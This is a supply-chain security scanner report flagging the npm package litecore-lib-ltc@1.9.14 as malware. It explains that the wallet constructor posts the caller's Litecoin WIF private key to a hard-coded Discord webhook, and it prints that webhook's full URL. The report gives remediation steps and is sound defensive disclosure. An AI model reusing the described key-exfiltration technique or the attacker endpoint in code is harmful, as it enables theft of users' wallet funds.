AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The default wallet-construction path transmits the caller's WIF private key to a hard-coded Discord webhook. This is credential exfiltration that can enable theft of wallet funds. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-11-02T06:36:42.744Z - **Finished:** 2026-11-02T06:37:06.537Z - **Download time:** 501 ms - **Static scan time:** 18 ms - **AI review time:** 23274 ms - **Total time:** 23793 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Wallet construction sends the supplied Litecoin WIF private key to a hard-coded Discord webhook. - **Trigger:** The application constructs a LitecoinWallet with a WIF. - **Impact:** The webhook recipient can obtain the wallet's private key and use it to access funds. - **Evidence paths:** src/index.js, src/wallet.js - **Review source:** ai\_review - **Reviewed:** 2026-11-02T06:37:06.537Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The constructor passes the WIF into a logging branch that posts it as the webhook message content. - **Attack narrative:** When a caller constructs LitecoinWallet with a WIF, the constructor invokes the logging path with that WIF. The path posts it as the content of a message to a hard-coded Discord webhook, exposing the wallet private key to the webhook recipient. - **Rationale:** The default wallet-construction path transmits the caller's WIF private key to a hard-coded Discord webhook. This is credential exfiltration that can enable theft of wallet funds. - **Files touched:** src/index.js, src/wallet.js - **Network endpoints:** https://discord.com/api/webhooks/1477797533999956131/xMuQGOdbHRM6knCPHxXdIlN8FsmE0mSkSdFms-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** Constructing LitecoinWallet with a WIF calls isValidAddress(wif, true) by default., The logging branch posts its content to a hard-coded Discord webhook., fromWIF uses the supplied WIF to create the wallet's private key. - **Evidence against:** The package declares no install, preinstall, or postinstall lifecycle scripts. ## Affected versions and remediation This report applies to litecore-lib-ltc@1.9.14. - Avoid installing litecore-lib-ltc@1.9.14. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1.
